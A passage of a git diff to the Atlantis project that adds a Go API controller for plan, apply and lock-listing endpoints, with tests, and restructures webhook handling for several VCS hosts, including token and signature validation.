Workspace string + } +} + +func (a *APIRequest) getCommands(ctx *command.Context, cmdBuilder func(*command.Context, *events.CommentCommand) ([]command.ProjectContext, error)) ([]command.ProjectContext, []*events.CommentCommand, error) { + cc := make([]*events.CommentCommand, 0) + + for _, project := range a.Projects { + cc = append(cc, &events.CommentCommand{ + ProjectName: project, + }) + } + for _, path := range a.Paths { + cc = append(cc, &events.CommentCommand{ + RepoRelDir: strings.TrimRight(path.Directory, "/"), + Workspace: path.Workspace, + }) + } + + cmds := make([]command.ProjectContext, 0) + for _, commentCommand := range cc { + projectCmds, err := cmdBuilder(ctx, commentCommand) + if err != nil { + return nil, nil, fmt.Errorf("failed to build command: %v", err) + } + cmds = append(cmds, projectCmds...) + } + + return cmds, cc, nil +} + +func (a *APIController) apiReportError(w http.ResponseWriter, code int, err error) { + response, _ := json.Marshal(map[string]string{ + "error": err.Error(), + }) + a.respond(w, logging.Warn, code, "%s", string(response)) +} + +func (a *APIController) Plan(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Content-Type", "application/json") + + request, ctx, code, err := a.apiParseAndValidate(r) + if err != nil { + a.apiReportError(w, code, err) + return + } + + err = a.apiSetup(ctx) + if err != nil { + a.apiReportError(w, http.StatusInternalServerError, err) + return + } + + result, err := a.apiPlan(request, ctx) + if err != nil { + a.apiReportError(w, http.StatusInternalServerError, err) + return + } + defer a.Locker.UnlockByPull(ctx.HeadRepo.FullName, ctx.Pull.Num) // nolint: errcheck + if result.HasErrors() { + code = http.StatusInternalServerError + } + + // TODO: make a better response + response, err := json.Marshal(result) + if err != nil { + a.apiReportError(w, http.StatusInternalServerError, err) + return + } + a.respond(w, logging.Warn, code, "%s", string(response)) +} + +func (a *APIController) Apply(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Content-Type", "application/json") + + request, ctx, code, err := a.apiParseAndValidate(r) + if err != nil { + a.apiReportError(w, code, err) + return + } + + err = a.apiSetup(ctx) + if err != nil { + a.apiReportError(w, http.StatusInternalServerError, err) + return + } + + // We must first make the plan for all projects + _, err = a.apiPlan(request, ctx) + if err != nil { + a.apiReportError(w, http.StatusInternalServerError, err) + return + } + defer a.Locker.UnlockByPull(ctx.HeadRepo.FullName, ctx.Pull.Num) // nolint: errcheck + + // We can now prepare and run the apply step + result, err := a.apiApply(request, ctx) + if err != nil { + a.apiReportError(w, http.StatusInternalServerError, err) + return + } + if result.HasErrors() { + code = http.StatusInternalServerError + } + + response, err := json.Marshal(result) + if err != nil { + a.apiReportError(w, http.StatusInternalServerError, err) + return + } + a.respond(w, logging.Warn, code, "%s", string(response)) +} + +type LockDetail struct { + Name string + ProjectName string + ProjectRepo string + ProjectRepoPath string + PullID int `json:",string"` + PullURL string + User string + Workspace string + Time time.Time +} + +type ListLocksResult struct { + Locks []LockDetail +} + +func (a *APIController) ListLocks(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Content-Type", "application/json") + + locks, err := a.Locker.List() + if err != nil { + a.apiReportError(w, http.StatusInternalServerError, err) + return + } + + result := ListLocksResult{} + for name, lock := range locks { + lockDetail := LockDetail{ + name, + lock.Project.ProjectName, + lock.Project.RepoFullName, + lock.Project.Path, + lock.Pull.Num, + lock.Pull.URL, + lock.User.Username, + lock.Workspace, + lock.Time, + } + result.Locks = append(result.Locks, lockDetail) + } + + response, err := json.Marshal(result) + if err != nil { + a.apiReportError(w, http.StatusInternalServerError, err) + return + } + a.respond(w, logging.Warn, http.StatusOK, "%s", string(response)) +} + +func (a *APIController) apiSetup(ctx *command.Context) error { + pull := ctx.Pull + baseRepo := ctx.Pull.BaseRepo + headRepo := ctx.HeadRepo + + unlockFn, err := a.WorkingDirLocker.TryLock(baseRepo.FullName, pull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir) + if err != nil { + return err + } + ctx.Log.Debug("got workspace lock") + defer unlockFn() + + // ensure workingDir is present + _, err = a.WorkingDir.Clone(ctx.Log, headRepo, pull, events.DefaultWorkspace) + if err != nil { + return err + } + + return nil +} + +func (a *APIController) apiPlan(request *APIRequest, ctx *command.Context) (*command.Result, error) { + cmds, cc, err := request.getCommands(ctx, a.ProjectCommandBuilder.BuildPlanCommands) + if err != nil { + return nil, err + } + + // Update the combined plan commit status to pending + if err := a.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Plan); err != nil { + ctx.Log.Warn("unable to update plan commit status: %s", err) + } + + var projectResults []command.ProjectResult + for i, cmd := range cmds { + err = a.PreWorkflowHooksCommandRunner.RunPreHooks(ctx, cc[i]) + if err != nil { + if a.FailOnPreWorkflowHookError { + return nil, err + } + } + + res := a.ProjectPlanCommandRunner.Plan(cmd) + projectResults = append(projectResults, res) + + a.PostWorkflowHooksCommandRunner.RunPostHooks(ctx, cc[i]) // nolint: errcheck + } + return &command.Result{ProjectResults: projectResults}, nil +} + +func (a *APIController) apiApply(request *APIRequest, ctx *command.Context) (*command.Result, error) { + cmds, cc, err := request.getCommands(ctx, a.ProjectCommandBuilder.BuildApplyCommands) + if err != nil { + return nil, err + } + + // Update the combined apply commit status to pending + if err := a.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Apply); err != nil { + ctx.Log.Warn("unable to update apply commit status: %s", err) + } + + var projectResults []command.ProjectResult + for i, cmd := range cmds { + err = a.PreWorkflowHooksCommandRunner.RunPreHooks(ctx, cc[i]) + if err != nil { + if a.FailOnPreWorkflowHookError { + return nil, err + } + } + + res := a.ProjectApplyCommandRunner.Apply(cmd) + projectResults = append(projectResults, res) + + a.PostWorkflowHooksCommandRunner.RunPostHooks(ctx, cc[i]) // nolint: errcheck + } + return &command.Result{ProjectResults: projectResults}, nil +} + +func (a *APIController) apiParseAndValidate(r *http.Request) (*APIRequest, *command.Context, int, error) { + if len(a.APISecret) == 0 { + return nil, nil, http.StatusBadRequest, fmt.Errorf("ignoring request since API is disabled") + } + + // Validate the secret token + secret := r.Header.Get(atlantisTokenHeader) + if secret != string(a.APISecret) { + return nil, nil, http.StatusUnauthorized, fmt.Errorf("header %s did not match expected secret", atlantisTokenHeader) + } + + // Parse the JSON payload + bytes, err := io.ReadAll(r.Body) + if err != nil { + return nil, nil, http.StatusBadRequest, fmt.Errorf("failed to read request") + } + var request APIRequest + if err = json.Unmarshal(bytes, &request); err != nil { + return nil, nil, http.StatusBadRequest, fmt.Errorf("failed to parse request: %v", err.Error()) + } + if err = validator.New().Struct(request); err != nil { + return nil, nil, http.StatusBadRequest, fmt.Errorf("request %q is missing fields", string(bytes)) + } + + VCSHostType, err := models.NewVCSHostType(request.Type) + if err != nil { + return nil, nil, http.StatusBadRequest, err + } + cloneURL, err := a.VCSClient.GetCloneURL(a.Logger, VCSHostType, request.Repository) + if err != nil { + return nil, nil, http.StatusInternalServerError, err + } + + baseRepo, err := a.Parser.ParseAPIPlanRequest(VCSHostType, request.Repository, cloneURL) + if err != nil { + return nil, nil, http.StatusBadRequest, fmt.Errorf("failed to parse request: %v", err) + } + + // Check if the repo is allowlisted + if !a.RepoAllowlistChecker.IsAllowlisted(baseRepo.FullName, baseRepo.VCSHost.Hostname) { + return nil, nil, http.StatusForbidden, fmt.Errorf("repo not allowlisted") + } + + return &request, &command.Context{ + HeadRepo: baseRepo, + Pull: models.PullRequest{ + Num: request.PR, + BaseBranch: request.Ref, + HeadBranch: request.Ref, + HeadCommit: request.Ref, + BaseRepo: baseRepo, + }, + Scope: a.Scope, + Log: a.Logger, + API: true, + }, http.StatusOK, nil +} + +func (a *APIController) respond(w http.ResponseWriter, lvl logging.LogLevel, responseCode int, format string, args ...interface{}) { + response := fmt.Sprintf(format, args...) + a.Logger.Log(lvl, response) + w.WriteHeader(responseCode) + fmt.Fprintln(w, response) +} diff --git a/server/controllers/api_controller_test.go b/server/controllers/api_controller_test.go new file mode 100644 index 0000000000..96b85b72f6 --- /dev/null +++ b/server/controllers/api_controller_test.go @@ -0,0 +1,322 @@ +package controllers_test + +import ( + "bytes" + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "testing" + "time" + + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/controllers" + . "github.com/runatlantis/atlantis/server/core/locking/mocks" + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" + . "github.com/runatlantis/atlantis/server/events/mocks" + "github.com/runatlantis/atlantis/server/events/models" + . "github.com/runatlantis/atlantis/server/events/vcs/mocks" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" + . "github.com/runatlantis/atlantis/testing" +) + +const atlantisTokenHeader = "X-Atlantis-Token" +const atlantisToken = "token" + +func TestAPIController_Plan(t *testing.T) { + ac, projectCommandBuilder, projectCommandRunner := setup(t) + + cases := []struct { + repository string + ref string + vcsType string + pr int + projects []string + paths []struct { + Directory string + Workspace string + } + }{ + { + repository: "Repo", + ref: "main", + vcsType: "Gitlab", + projects: []string{"default"}, + }, + { + repository: "Repo", + ref: "main", + vcsType: "Gitlab", + pr: 1, + }, + { + repository: "Repo", + ref: "main", + vcsType: "Gitlab", + paths: []struct { + Directory string + Workspace string + }{ + { + Directory: ".", + Workspace: "myworkspace", + }, + { + Directory: "./myworkspace2", + Workspace: "myworkspace2", + }, + }, + }, + { + repository: "Repo", + ref: "main", + vcsType: "Gitlab", + pr: 1, + projects: []string{"test"}, + paths: []struct { + Directory string + Workspace string + }{ + { + Directory: ".", + Workspace: "myworkspace", + }, + }, + }, + } + + expectedCalls := 0 + for _, c := range cases { + body, _ := json.Marshal(controllers.APIRequest{ + Repository: c.repository, + Ref: c.ref, + Type: c.vcsType, + PR: c.pr, + Projects: c.projects, + Paths: c.paths, + }) + + req, _ := http.NewRequest("POST", "", bytes.NewBuffer(body)) + req.Header.Set(atlantisTokenHeader, atlantisToken) + w := httptest.NewRecorder() + ac.Plan(w, req) + ResponseContains(t, w, http.StatusOK, "") + + expectedCalls += len(c.projects) + expectedCalls += len(c.paths) + } + + projectCommandBuilder.VerifyWasCalled(Times(expectedCalls)).BuildPlanCommands(Any[*command.Context](), Any[*events.CommentCommand]()) + projectCommandRunner.VerifyWasCalled(Times(expectedCalls)).Plan(Any[command.ProjectContext]()) +} + +func TestAPIController_Apply(t *testing.T) { + ac, projectCommandBuilder, projectCommandRunner := setup(t) + + cases := []struct { + repository string + ref string + vcsType string + pr int + projects []string + paths []struct { + Directory string + Workspace string + } + }{ + { + repository: "Repo", + ref: "main", + vcsType: "Gitlab", + projects: []string{"default"}, + }, + { + repository: "Repo", + ref: "main", + vcsType: "Gitlab", + pr: 1, + }, + { + repository: "Repo", + ref: "main", + vcsType: "Gitlab", + paths: []struct { + Directory string + Workspace string + }{ + { + Directory: ".", + Workspace: "myworkspace", + }, + { + Directory: "./myworkspace2", + Workspace: "myworkspace2", + }, + }, + }, + { + repository: "Repo", + ref: "main", + vcsType: "Gitlab", + pr: 1, + projects: []string{"test"}, + paths: []struct { + Directory string + Workspace string + }{ + { + Directory: ".", + Workspace: "myworkspace", + }, + }, + }, + } + + expectedCalls := 0 + for _, c := range cases { + body, _ := json.Marshal(controllers.APIRequest{ + Repository: c.repository, + Ref: c.ref, + Type: c.vcsType, + PR: c.pr, + Projects: c.projects, + Paths: c.paths, + }) + + req, _ := http.NewRequest("POST", "", bytes.NewBuffer(body)) + req.Header.Set(atlantisTokenHeader, atlantisToken) + w := httptest.NewRecorder() + ac.Apply(w, req) + ResponseContains(t, w, http.StatusOK, "") + + expectedCalls += len(c.projects) + expectedCalls += len(c.paths) + } + + projectCommandBuilder.VerifyWasCalled(Times(expectedCalls)).BuildApplyCommands(Any[*command.Context](), Any[*events.CommentCommand]()) + projectCommandRunner.VerifyWasCalled(Times(expectedCalls)).Plan(Any[command.ProjectContext]()) + projectCommandRunner.VerifyWasCalled(Times(expectedCalls)).Apply(Any[command.ProjectContext]()) +} + +func TestAPIController_ListLocks(t *testing.T) { + ac, _, _ := setup(t) + time := time.Now() + expected := controllers.ListLocksResult{[]controllers.LockDetail{ + { + Name: "lock-id", + ProjectName: "terraform", + ProjectRepo: "owner/repo", + ProjectRepoPath: "/path", + PullID: 123, + PullURL: "url", + User: "jdoe", + Workspace: "default", + Time: time, + }, + }, + } + mockLock := models.ProjectLock{ + Project: models.Project{ProjectName: "terraform", RepoFullName: "owner/repo", Path: "/path"}, + Pull: models.PullRequest{Num: 123, URL: "url", Author: "lkysow"}, + User: models.User{Username: "jdoe"}, + Workspace: "default", + Time: time, + } + mockLocks := map[string]models.ProjectLock{ + "lock-id": mockLock, + } + When(ac.Locker.List()).ThenReturn(mockLocks, nil) + + req, _ := http.NewRequest("GET", "", nil) + w := httptest.NewRecorder() + ac.ListLocks(w, req) + response, _ := io.ReadAll(w.Result().Body) + var result controllers.ListLocksResult + err := json.Unmarshal(response, &result) + Ok(t, err) + Equals(t, expected, result) +} + +func TestAPIController_ListLocksEmpty(t *testing.T) { + ac, _, _ := setup(t) + + expected := controllers.ListLocksResult{} + mockLocks := map[string]models.ProjectLock{} + When(ac.Locker.List()).ThenReturn(mockLocks, nil) + + req, _ := http.NewRequest("GET", "", nil) + w := httptest.NewRecorder() + ac.ListLocks(w, req) + response, _ := io.ReadAll(w.Result().Body) + var result controllers.ListLocksResult + err := json.Unmarshal(response, &result) + Ok(t, err) + Equals(t, expected, result) +} + +func setup(t *testing.T) (controllers.APIController, *MockProjectCommandBuilder, *MockProjectCommandRunner) { + RegisterMockTestingT(t) + locker := NewMockLocker() + logger := logging.NewNoopLogger(t) + parser := NewMockEventParsing() + repoAllowlistChecker, err := events.NewRepoAllowlistChecker("*") + scope, _, _ := metrics.NewLoggingScope(logger, "null") + vcsClient := NewMockClient() + workingDir := NewMockWorkingDir() + Ok(t, err) + + workingDirLocker := NewMockWorkingDirLocker() + When(workingDirLocker.TryLock(Any[string](), Any[int](), Eq(events.DefaultWorkspace), Eq(events.DefaultRepoRelDir))). + ThenReturn(func() {}, nil) + + projectCommandBuilder := NewMockProjectCommandBuilder() + When(projectCommandBuilder.BuildPlanCommands(Any[*command.Context](), Any[*events.CommentCommand]())). + ThenReturn([]command.ProjectContext{{ + CommandName: command.Plan, + }}, nil) + When(projectCommandBuilder.BuildApplyCommands(Any[*command.Context](), Any[*events.CommentCommand]())). + ThenReturn([]command.ProjectContext{{ + CommandName: command.Apply, + }}, nil) + + projectCommandRunner := NewMockProjectCommandRunner() + When(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectResult{ + PlanSuccess: &models.PlanSuccess{}, + }) + When(projectCommandRunner.Apply(Any[command.ProjectContext]())).ThenReturn(command.ProjectResult{ + ApplySuccess: "success", + }) + + preWorkflowHooksCommandRunner := NewMockPreWorkflowHooksCommandRunner() + + When(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(nil) + + postWorkflowHooksCommandRunner := NewMockPostWorkflowHooksCommandRunner() + + When(postWorkflowHooksCommandRunner.RunPostHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(nil) + + commitStatusUpdater := NewMockCommitStatusUpdater() + + When(commitStatusUpdater.UpdateCombined(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[models.CommitStatus](), Any[command.Name]())).ThenReturn(nil) + + ac := controllers.APIController{ + APISecret: []byte(atlantisToken), + Locker: locker, + Logger: logger, + Scope: scope, + Parser: parser, + ProjectCommandBuilder: projectCommandBuilder, + ProjectPlanCommandRunner: projectCommandRunner, + ProjectApplyCommandRunner: projectCommandRunner, + PreWorkflowHooksCommandRunner: preWorkflowHooksCommandRunner, + PostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner, + VCSClient: vcsClient, + RepoAllowlistChecker: repoAllowlistChecker, + WorkingDir: workingDir, + WorkingDirLocker: workingDirLocker, + CommitStatusUpdater: commitStatusUpdater, + } + return ac, projectCommandBuilder, projectCommandRunner +} diff --git a/server/azuredevops_request_validator.go b/server/controllers/events/azuredevops_request_validator.go similarity index 87% rename from server/azuredevops_request_validator.go rename to server/controllers/events/azuredevops_request_validator.go index f235d57b39..4fa489c51f 100644 --- a/server/azuredevops_request_validator.go +++ b/server/controllers/events/azuredevops_request_validator.go @@ -1,14 +1,14 @@ -package server +package events import ( "fmt" - "io/ioutil" + "io" "net/http" - "github.com/mcdafydd/go-azuredevops/azuredevops" + "github.com/drmaxgit/go-azuredevops/azuredevops" ) -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_azuredevops_request_validator.go AzureDevopsRequestValidator +//go:generate pegomock generate --package mocks -o mocks/mock_azuredevops_request_validator.go AzureDevopsRequestValidator // AzureDevopsRequestValidator handles checking if Azure DevOps requests // contain a valid Basic authentication username and password. @@ -47,7 +47,7 @@ func (d *DefaultAzureDevopsRequestValidator) validateWithBasicAuth(r *http.Reque func (d *DefaultAzureDevopsRequestValidator) validateWithoutBasicAuth(r *http.Request) ([]byte, error) { ct := r.Header.Get("Content-Type") if ct == "application/json" || ct == "application/json; charset=utf-8" { - payload, err := ioutil.ReadAll(r.Body) + payload, err := io.ReadAll(r.Body) if err != nil { return nil, fmt.Errorf("could not read body: %s", err) } diff --git a/server/azuredevops_request_validator_test.go b/server/controllers/events/azuredevops_request_validator_test.go similarity index 87% rename from server/azuredevops_request_validator_test.go rename to server/controllers/events/azuredevops_request_validator_test.go index 24b91e537c..8fff056d56 100644 --- a/server/azuredevops_request_validator_test.go +++ b/server/controllers/events/azuredevops_request_validator_test.go @@ -1,19 +1,19 @@ -package server_test +package events_test import ( "bytes" "net/http" "testing" - . "github.com/petergtz/pegomock" - "github.com/runatlantis/atlantis/server" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/controllers/events" . "github.com/runatlantis/atlantis/testing" ) func TestAzureDevopsValidate_WithBasicAuthErr(t *testing.T) { t.Log("if the request does not have a valid basic auth user and password there is an error") RegisterMockTestingT(t) - g := server.DefaultAzureDevopsRequestValidator{} + g := events.DefaultAzureDevopsRequestValidator{} buf := bytes.NewBufferString("") req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) @@ -28,7 +28,7 @@ func TestAzureDevopsValidate_WithBasicAuthErr(t *testing.T) { func TestAzureDevopsValidate_WithBasicAuth(t *testing.T) { t.Log("if the request has a valid basic auth user and password the payload is returned") RegisterMockTestingT(t) - g := server.DefaultAzureDevopsRequestValidator{} + g := events.DefaultAzureDevopsRequestValidator{} buf := bytes.NewBufferString(`{"yo":true}`) req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) @@ -43,7 +43,7 @@ func TestAzureDevopsValidate_WithBasicAuth(t *testing.T) { func TestAzureDevopsValidate_WithoutSecretInvalidContentType(t *testing.T) { t.Log("if the request has an invalid content type an error is returned") RegisterMockTestingT(t) - g := server.DefaultAzureDevopsRequestValidator{} + g := events.DefaultAzureDevopsRequestValidator{} buf := bytes.NewBufferString("") req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) @@ -57,7 +57,7 @@ func TestAzureDevopsValidate_WithoutSecretInvalidContentType(t *testing.T) { func TestAzureDevopsValidate_WithoutSecretJSON(t *testing.T) { t.Log("if the request is JSON the body is returned") RegisterMockTestingT(t) - g := server.DefaultAzureDevopsRequestValidator{} + g := events.DefaultAzureDevopsRequestValidator{} buf := bytes.NewBufferString(`{"yo":true}`) req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) diff --git a/server/controllers/events/events_controller.go b/server/controllers/events/events_controller.go new file mode 100644 index 0000000000..49b6504ae0 --- /dev/null +++ b/server/controllers/events/events_controller.go @@ -0,0 +1,923 @@ +// Copyright 2017 HootSuite Media Inc. +// +// Licensed under the Apache License, Version 2.0 (the License); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an AS IS BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Modified hereafter by contributors to runatlantis/atlantis. + +package events + +import ( + "encoding/json" + "fmt" + "html" + "io" + "net/http" + "strconv" + "strings" + + "github.com/drmaxgit/go-azuredevops/azuredevops" + "github.com/google/go-github/v71/github" + "github.com/microcosm-cc/bluemonday" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/vcs" + "github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud" + "github.com/runatlantis/atlantis/server/events/vcs/bitbucketserver" + "github.com/runatlantis/atlantis/server/events/vcs/gitea" + "github.com/runatlantis/atlantis/server/logging" + tally "github.com/uber-go/tally/v4" + gitlab "gitlab.com/gitlab-org/api/client-go" +) + +const githubHeader = "X-Github-Event" +const gitlabHeader = "X-Gitlab-Event" +const azuredevopsHeader = "Request-Id" + +const giteaHeader = "X-Gitea-Event" +const giteaEventTypeHeader = "X-Gitea-Event-Type" +const giteaSignatureHeader = "X-Gitea-Signature" +const giteaRequestIDHeader = "X-Gitea-Delivery" + +// bitbucketEventTypeHeader is the same in both cloud and server. +const bitbucketEventTypeHeader = "X-Event-Key" +const bitbucketCloudRequestIDHeader = "X-Request-UUID" +const bitbucketServerRequestIDHeader = "X-Request-ID" +const bitbucketSignatureHeader = "X-Hub-Signature" + +// The URL used for Azure DevOps test webhooks +const azuredevopsTestURL = "https://fabrikam.visualstudio.com/DefaultCollection/_apis/git/repositories/4bc14d40-c903-45e2-872e-0462c7748079" + +// VCSEventsController handles all webhook requests which signify 'events' in the +// VCS host, ex. GitHub. +type VCSEventsController struct { + CommandRunner events.CommandRunner `validate:"required"` + PullCleaner events.PullCleaner `validate:"required"` + Logger logging.SimpleLogging `validate:"required"` + Scope tally.Scope `validate:"required"` + Parser events.EventParsing `validate:"required"` + CommentParser events.CommentParsing `validate:"required"` + ApplyDisabled bool + EmojiReaction string + ExecutableName string + // GithubWebhookSecret is the secret added to this webhook via the GitHub + // UI that identifies this call as coming from GitHub. If empty, no + // request validation is done. + GithubWebhookSecret []byte + GithubRequestValidator GithubRequestValidator `validate:"required"` + GitlabRequestParserValidator GitlabRequestParserValidator `validate:"required"` + // GitlabWebhookSecret is the secret added to this webhook via the GitLab + // UI that identifies this call as coming from GitLab. If empty, no + // request validation is done. + GitlabWebhookSecret []byte + RepoAllowlistChecker *events.RepoAllowlistChecker `validate:"required"` + // SilenceAllowlistErrors controls whether we write an error comment on + // pull requests from non-allowlisted repos. + SilenceAllowlistErrors bool + // SupportedVCSHosts is which VCS hosts Atlantis was configured upon + // startup to support. + SupportedVCSHosts []models.VCSHostType `validate:"required"` + VCSClient vcs.Client `validate:"required"` + TestingMode bool + // BitbucketWebhookSecret is the secret added to this webhook via the Bitbucket + // UI that identifies this call as coming from Bitbucket. If empty, no + // request validation is done. + BitbucketWebhookSecret []byte + // AzureDevopsWebhookUser is the Basic authentication username added to this + // webhook via the Azure DevOps UI that identifies this call as coming from your + // Azure DevOps Team Project. If empty, no request validation is done. + // For more information, see https://docs.microsoft.com/en-us/azure/devops/service-hooks/services/webhooks?view=azure-devops + AzureDevopsWebhookBasicUser []byte + // AzureDevopsWebhookPassword is the Basic authentication password added to this + // webhook via the Azure DevOps UI that identifies this call as coming from your + // Azure DevOps Team Project. If empty, no request validation is done. + AzureDevopsWebhookBasicPassword []byte + AzureDevopsRequestValidator AzureDevopsRequestValidator `validate:"required"` + GiteaWebhookSecret []byte +} + +// Post handles POST webhook requests. +func (e *VCSEventsController) Post(w http.ResponseWriter, r *http.Request) { + if r.Header.Get(giteaHeader) != "" { + if !e.supportsHost(models.Gitea) { + e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support Gitea") + return + } + e.Logger.Debug("handling Gitea post") + e.handleGiteaPost(w, r) + return + } else if r.Header.Get(githubHeader) != "" { + if !e.supportsHost(models.Github) { + e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support GitHub") + return + } + e.Logger.Debug("handling GitHub post") + e.handleGithubPost(w, r) + return + } else if r.Header.Get(gitlabHeader) != "" { + if !e.supportsHost(models.Gitlab) { + e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support GitLab") + return + } + e.Logger.Debug("handling GitLab post") + e.handleGitlabPost(w, r) + return + } else if r.Header.Get(bitbucketEventTypeHeader) != "" { + // Bitbucket Cloud and Server use the same event type header but they + // use different request ID headers. + if r.Header.Get(bitbucketCloudRequestIDHeader) != "" { + if !e.supportsHost(models.BitbucketCloud) { + e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support Bitbucket Cloud") + return + } + e.Logger.Debug("handling Bitbucket Cloud post") + e.handleBitbucketCloudPost(w, r) + return + } else if r.Header.Get(bitbucketServerRequestIDHeader) != "" { + if !e.supportsHost(models.BitbucketServer) { + e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support Bitbucket Server") + return + } + e.Logger.Debug("handling Bitbucket Server post") + e.handleBitbucketServerPost(w, r) + return + } + } else if r.Header.Get(azuredevopsHeader) != "" { + if !e.supportsHost(models.AzureDevops) { + e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support AzureDevops") + return + } + e.Logger.Debug("handling AzureDevops post") + e.handleAzureDevopsPost(w, r) + return + } + e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request") +} + +type HTTPError struct { + err error + code int + isSilenced bool +} + +type HTTPResponse struct { + body string + err HTTPError +} + +func (e *VCSEventsController) handleGithubPost(w http.ResponseWriter, r *http.Request) { + // Validate the request against the optional webhook secret. + payload, err := e.GithubRequestValidator.Validate(r, e.GithubWebhookSecret) + if err != nil { + e.respond(w, logging.Warn, http.StatusBadRequest, "%s", err.Error()) + return + } + + githubReqID := "X-Github-Delivery=" + html.EscapeString(r.Header.Get("X-Github-Delivery")) + logger := e.Logger.With("gh-request-id", githubReqID) + scope := e.Scope.SubScope("github_event") + + logger.Debug("request valid") + + event, _ := github.ParseWebHook(github.WebHookType(r), payload) + + var resp HTTPResponse + + switch event := event.(type) { + case *github.IssueCommentEvent: + resp = e.HandleGithubCommentEvent(event, githubReqID, logger) + scope = scope.SubScope(fmt.Sprintf("comment_%s", *event.Action)) + scope = vcs.SetGitScopeTags(scope, event.GetRepo().GetFullName(), event.GetIssue().GetNumber()) + case *github.PullRequestEvent: + resp = e.HandleGithubPullRequestEvent(logger, event, githubReqID) + scope = scope.SubScope(fmt.Sprintf("pr_%s", *event.Action)) + scope = vcs.SetGitScopeTags(scope, event.GetRepo().GetFullName(), event.GetNumber()) + default: + resp = HTTPResponse{ + body: fmt.Sprintf("Ignoring unsupported event %s", githubReqID), + } + } + + if resp.err.code != 0 { + if !resp.err.isSilenced { + logger.Err("error handling gh post code: %d err: %s", resp.err.code, resp.err.err.Error()) + } + scope.Counter(fmt.Sprintf("error_%d", resp.err.code)).Inc(1) + w.WriteHeader(resp.err.code) + fmt.Fprintln(w, resp.err.err.Error()) + return + } + + scope.Counter(fmt.Sprintf("success_%d", http.StatusOK)).Inc(1) + w.WriteHeader(http.StatusOK) + fmt.Fprintln(w, resp.body) +} + +func (e *VCSEventsController) handleBitbucketCloudPost(w http.ResponseWriter, r *http.Request) { + eventType := r.Header.Get(bitbucketEventTypeHeader) + reqID := r.Header.Get(bitbucketCloudRequestIDHeader) + sig := r.Header.Get(bitbucketSignatureHeader) + defer r.Body.Close() // nolint: errcheck + body, err := io.ReadAll(r.Body) + if err != nil { + e.respond(w, logging.Error, http.StatusBadRequest, "Unable to read body: %s %s=%s", err, bitbucketCloudRequestIDHeader, reqID) + return + } + if len(e.BitbucketWebhookSecret) > 0 { + if err := bitbucketcloud.ValidateSignature(body, sig, e.BitbucketWebhookSecret); err != nil { + e.respond(w, logging.Warn, http.StatusBadRequest, "%s", errors.Wrap(err, "request did not pass validation").Error()) + return + } + } + switch eventType { + case bitbucketcloud.PullCreatedHeader, bitbucketcloud.PullUpdatedHeader, bitbucketcloud.PullFulfilledHeader, bitbucketcloud.PullRejectedHeader: + e.Logger.Debug("handling as pull request state changed event") + e.handleBitbucketCloudPullRequestEvent(e.Logger, w, eventType, body, reqID) + return + case bitbucketcloud.PullCommentCreatedHeader: + e.Logger.Debug("handling as comment created event") + e.HandleBitbucketCloudCommentEvent(w, body, reqID) + return + default: + e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported event type %s %s=%s", eventType, bitbucketCloudRequestIDHeader, reqID) + } +} + +func (e *VCSEventsController) handleBitbucketServerPost(w http.ResponseWriter, r *http.Request) { + eventType := r.Header.Get(bitbucketEventTypeHeader) + reqID := r.Header.Get(bitbucketServerRequestIDHeader) + sig := r.Header.Get(bitbucketSignatureHeader) + defer r.Body.Close() // nolint: errcheck + body, err := io.ReadAll(r.Body) + if err != nil { + e.respond(w, logging.Error, http.StatusBadRequest, "Unable to read body: %s %s=%s", err, bitbucketServerRequestIDHeader, reqID) + return + } + if eventType == bitbucketserver.DiagnosticsPingHeader { + // Specially handle the diagnostics:ping event because Bitbucket Server + // doesn't send the signature with this event for some reason. + e.respond(w, logging.Info, http.StatusOK, "Successfully received %s event %s=%s", eventType, bitbucketServerRequestIDHeader, reqID) + return + } + if len(e.BitbucketWebhookSecret) > 0 { + if err := bitbucketserver.ValidateSignature(body, sig, e.BitbucketWebhookSecret); err != nil { + e.respond(w, logging.Warn, http.StatusBadRequest, "%s", errors.Wrap(err, "request did not pass validation").Error()) + return + } + } + switch eventType { + case bitbucketserver.PullCreatedHeader, 